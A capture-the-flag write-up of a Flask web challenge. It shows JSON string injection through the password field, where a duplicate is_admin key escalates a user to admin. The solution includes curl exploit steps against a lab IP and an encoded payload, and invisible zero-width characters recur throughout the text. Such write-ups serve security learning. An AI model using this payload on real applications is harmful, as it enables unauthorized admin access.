← Back to Writeups
CUSTOMMediumWeb

Bug Bounty-code

XESXOR9/10/20264 min read
#web#custom#medium#duplicate_json_key_exploitatio#hidden_hint_discovery_base64_i#json_string_injection_via_unes#privilege_escalation_to_admin

Bug Bounty-code

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: duplicate_json_key_exploitation, hidden_hint_discovery_base64_in_bbcode, json_string_injection_via_unescaped_input, privilege_escalation_to_admin

Summary

Walkthrough of the CUSTOM Web Bug Bounty-code. Task: Flask web app with user registration/login where is_admin is hardcoded to false; user input is concatenated into JSON without escaping. Solution: inject closing quote and additional is_admin key

Description

Говорят, что здесь можно получить админа без СМС, но с регистрацией, а дальше как?

English summary: A Flask/Werkzeug web application with user registration, login, profile editing, and a BBCode content page. The goal is to escalate privileges from a regular user to admin to reveal the flag.

Analysis

Application Structure

The application runs on Flask/Werkzeug 3.0.4 with Python 3.10.7 and exposes the following endpoints:

EndpointMethodFunction
/registerPOSTCreate new user (nickname + password)
/loginPOSTAuthenticate, sets Flask session cookie
/profileGETShows user info including "Admin: false", edit form
/editPOSTUpdate nickname/password, redirects to /logout
/logoutGETClears session
/GETMain page with BBCode article about British cats
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The Flask session cookie contains: {"is_admin": "false", "nickname": "username"}.

Hidden Hint Discovery

Inside the main page's BBCode article, a [quote] block contained white-colored text ([color=#ffffff]) with a base64-encoded string:

IEkgdXBkYXRlZCB0aGUgdXNlciBlbnRpdHkgdmlldy4NCiBtb2RlbCA9IHsNCiAnbmlja25hbWUnOiBuaWNrbmFtZSwNCiAncGFzc3dvcmQnOiBwYXNzd29yZCwNCiAnaXNfYWRtaW4nOiAnZmFsc2UnDQogfQ==

Decoded:

 I updated the user entity view.
 model = {
 'nickname': nickname,
 'password': password,
 'is_admin': 'false'
 }

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This reveals the user model structure — is_admin is hardcoded to 'false'.

Identifying JSON Injection

Testing special characters in the nickname field during /edit:

CharacterResultMeaning
" (double quote)HTTP 500Breaks JSON string parsing
\ (backslash)HTTP 500Breaks JSON escape sequence
' (single quote)HTTP 302Normal — not a JSON delimiter
} (curly brace)HTTP 302Normal — inside a quoted string

This pattern is a textbook indicator of JSON string injection: user input is concatenated directly into a JSON string without escaping, and double quotes break the JSON structure. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed Approaches

Before finding the JSON injection vector, several other approaches were exhausted:

  • Mass assignment via /edit and /register with is_admin=true (various formats) — all failed
  • Flask session cookie forgery — SECRET_KEY bruteforce with rockyou.txt (200k+ attempts), common wordlists — all failed; server validates signatures properly
  • Hidden endpoints (/admin, /flag, /console, /debug, /.git, /.env) — all 404
  • SQLi in nickname — no errors
  • Different HTTP methods (PUT, PATCH) to /edit — 405 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Vulnerability: JSON String Injection with Duplicate Key Override

The server constructs the user model by string formatting/concatenation rather than proper serialization:

python
# Likely server-side code (reconstructed)
json_str = '{"is_admin": "false", "nickname": "%s", "password": "%s"}' % (nickname, password)
model = json.loads(json_str)

By injecting into the password field, we can close the password value and append a new is_admin key:

Injected password value: pass123", "is_admin": "true ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Resulting JSON:

json
{"is_admin": "false", "nickname": "user", "password": "pass123", "is_admin": "true"}

In Python's json.loads(), when there are duplicate keys, the last one wins — so is_admin becomes "true".

Exploit Steps

bash
# Step 1: Register a new user
curl -s -X POST http://62.173.140.174:16057/register \
  -d 'nickname=myuser&password=pass123'

# Step 2: Login to get session cookie
SESSION=$(curl -s -D- -X POST http://62.173.140.174:16057/login \
  -d 'nickname=myuser&password=pass123' | \
  grep 'Set-Cookie' | sed 's/Set-Cookie: session=//;s/;.*//')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: JSON injection via /edit — inject into password field
# URL-decoded password value: pass123", "is_admin": "true
curl -s -b "session=$SESSION" -X POST http://62.173.140.174:16057/edit \
  -d 'nickname=myuser&password=pass123%22%2C%20%22is_admin%22%3A%20%22true'

# Step 4: Re-login (server forces logout after edit)
NEW_SESSION=$(curl -s -D- -X POST http://62.173.140.174:16057/login \
  -d 'nickname=myuser&password=pass123' | \
  grep 'Set-Cookie' | sed 's/Set-Cookie: session=//;s/;.*//')

# Step 5: Access main page as admin — flag is revealed
curl -s -b "session=$NEW_SESSION" http://62.173.140.174:16057/
# Flag appears in the BBCode content

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Important detail: After the JSON injection, the actual stored password becomes just pass123 (the part before the injected quote), so re-login uses the original password. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering duplicate_json_key_exploitation, hidden_hint_discovery_base64_in_bbcode, json_string_injection_via_unescaped_input, privilege_escalation_to_admin was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Bug Bounty-code • Difficulty: Medium